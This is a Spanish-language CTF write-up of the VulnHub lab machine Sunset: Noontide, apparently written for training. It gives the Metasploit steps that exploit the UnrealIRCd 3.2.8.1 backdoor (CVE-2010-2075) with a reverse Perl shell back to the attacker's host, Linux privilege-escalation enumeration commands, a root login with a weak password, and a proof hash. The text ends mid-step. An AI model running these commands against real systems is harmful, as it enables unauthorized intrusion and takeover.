
Descripción Evaluación profesional de pruebas de penetración de la máquina Sunset: Noontide de VulnHub, que abarca reconocimiento, enumeración de servicios, explotación de CVE-2010-2075, post-explotación, escalada de privilegios y compromiso total del sistema.
Una evaluación profesional de pruebas de penetración y guía de CTF de Sunset: Noontide, una máquina intencionalmente vulnerable de VulnHub.
Este proyecto documenta el ciclo de vida completo de las pruebas de penetración, incluyendo reconocimiento, enumeración de servicios, investigación de vulnerabilidades, explotación, acceso inicial, post-explotación, escalada de privilegios, prueba de compromiso, evaluación de riesgos, mapeo de MITRE ATT&CK y remediación.
⚠️ Descargo de responsabilidad: Esta evaluación se realizó contra una máquina intencionalmente vulnerable en un entorno de laboratorio autorizado. Las técnicas y comandos documentados aquí están destinados únicamente a sistemas para los cuales se ha obtenido autorización explícita.
| Componente | Detalles |
|---|---|
| Objetivo | Sunset: Noontide |
| Plataforma | VulnHub |
| IP Objetivo | 10.106.186.186 |
| Nombre de Host Objetivo | noontide |
| SO Objetivo | Debian GNU/Linux 10 (Buster) |
| Arquitectura | x86_64 |
| Plataforma Atacante | Kali Linux |
| IP Atacante | 10.106.186.204 |
| Tipo de Evaluación | Evaluación de Laboratorio Autorizada |
| Riesgo General | CRÍTICO |
| Resultado de la Evaluación | Compromiso Total del Sistema |
Descubrimiento del Objetivo → Enumeración con Nmap → UnrealIRCd 3.2.8.1 Identificado → SearchSploit → CVE-2010-2075 Identificado → Explotación con Metasploit → Shell de Comandos Remota → Shell como server → Post-Explotación en Linux → Credencial Root Débil → su root → UID 0 / Acceso Root → Archivos de Prueba de Usuario y Root
Se realizó un descubrimiento de red inicial para identificar el objetivo vulnerable.
El objetivo fue finalmente identificado como:
10.106.186.186
Durante el reconocimiento, 10.106.186.142 fue identificado como la puerta de enlace predeterminada en lugar del objetivo previsto.
Esto resalta la importancia de identificar correctamente el objetivo antes de realizar pruebas de seguridad adicionales, particularmente en una red de laboratorio puenteada o compartida.
Se realizó la detección de servicios y versiones con Nmap contra el objetivo usando:
nmap -sV 10.106.186.186
El servicio expuesto significativo identificado durante la evaluación fue:
6667/tcp open irc UnrealIRCd
Luego se realizó un escaneo más detallado usando:
nmap -sC -sV -Pn -p 6667 10.106.186.186
El servicio fue identificado como:
UnrealIRCd 3.2.8.1
El servicio IRC también reportó:
irc.foonet.com
El servicio UnrealIRCd expuesto se convirtió en la superficie de ataque principal investigada durante la evaluación.
Se utilizó SearchSploit para investigar vulnerabilidades documentadas públicamente asociadas con la versión de UnrealIRCd descubierta.
Comando:
searchsploit UnrealIRCd 3.2.8.1
El resultado relevante fue:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
La vulnerabilidad fue identificada como:
CVE-2010-2075
Ejecución de Comandos por Backdoor en UnrealIRCd 3.2.8.1
Crítica
Ejecución Remota de Comandos
La explotación exitosa del servicio vulnerable permite a un atacante ejecutar comandos remotamente en el sistema objetivo.
El servicio IRC vulnerable fue explotado usando el Framework Metasploit.
El módulo seleccionado fue:
exploit/unix/irc/unreal_ircd_3281_backdoor
Configuración de ejemplo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Los intentos iniciales de payload no produjeron una sesión utilizable.
Posteriormente se seleccionó un payload compatible de Perl inverso para Unix:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit reportó que el objetivo parecía vulnerable y abrió exitosamente una sesión de shell de comandos.
La shell obtenida fue verificada usando:
whoami
Resultado:
server
Esto confirmó la ejecución remota de comandos exitosa como la cuenta server.
El directorio de trabajo inicial fue:
/home/server/irc/Unreal3.2
En esta etapa, la evaluación progresó desde la explotación remota del servicio hasta la enumeración local de post-explotación.
Después de obtener la shell, se realizó la enumeración estándar de Linux para comprender el host comprometido e identificar posibles rutas de escalada de privilegios.
Comando:
id
Resultado:
uid=1000(server) gid=1000(server)
La cuenta era un usuario no root.
Comando:
hostname
Resultado:
noontide
Comando:
uname -a
Resultado:
Linux noontide 4.19.0-10-amd64 x86_64
Comando:
cat /etc/os-release
Resultado:
Debian GNU/Linux 10 (buster)
Estos comandos establecieron la identidad actual, el nombre de host, la versión del kernel, el sistema operativo y la configuración general del sistema.
Se realizaron varias verificaciones estándar de escalada de privilegios en Linux.
Comando:
find / -perm -4000 -type f 2>/dev/null
Se identificaron binarios SUID estándar como passwd, chsh, mount, umount, su, chfn, newgrp y gpasswd.
No se identificó ningún binario SUID personalizado o anómalo obvio como el vector de escalada exitoso.
Comando:
sudo -l
No se identificó ninguna ruta útil de escalada de privilegios basada en sudo a partir de la salida disponible.
Comandos:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Los trabajos programados observados eran trabajos de sistema estándar al estilo Debian.
No se identificó ningún trabajo cron de root escribible obvio.
Comando:
find / -writable -type f 2>/dev/null | head -100
Los resultados iniciales fueron principalmente pseudo-archivos de /proc y no revelaron un vector práctico de escalada de privilegios.
Comando:
getcap -r / 2>/dev/null
No se identificó ninguna escalada de privilegios útil basada en capacidades a partir de la salida resultante.
La ruta exitosa de escalada de privilegios se basó en las credenciales root intencionalmente débiles configuradas en la máquina vulnerable.
Se accedió a la cuenta root usando:
su root
Contraseña:
root
El acceso root fue luego verificado usando:
id
Resultado:
uid=0(root) gid=0(root) groups=0(root)
La identidad también fue confirmada usando:
whoami
Resultado:
root
Esto confirmó el control administrativo completo del sistema objetivo.
El archivo de prueba a nivel de usuario se encontraba en:
/home/server/local.txt
Comando:
cat /home/server/local.txt
Resultado:
c53c08b5bf2b0801c5d0c24149826a6e
El archivo de prueba a nivel de root se encontraba en:
/root/proof.txt
Comando: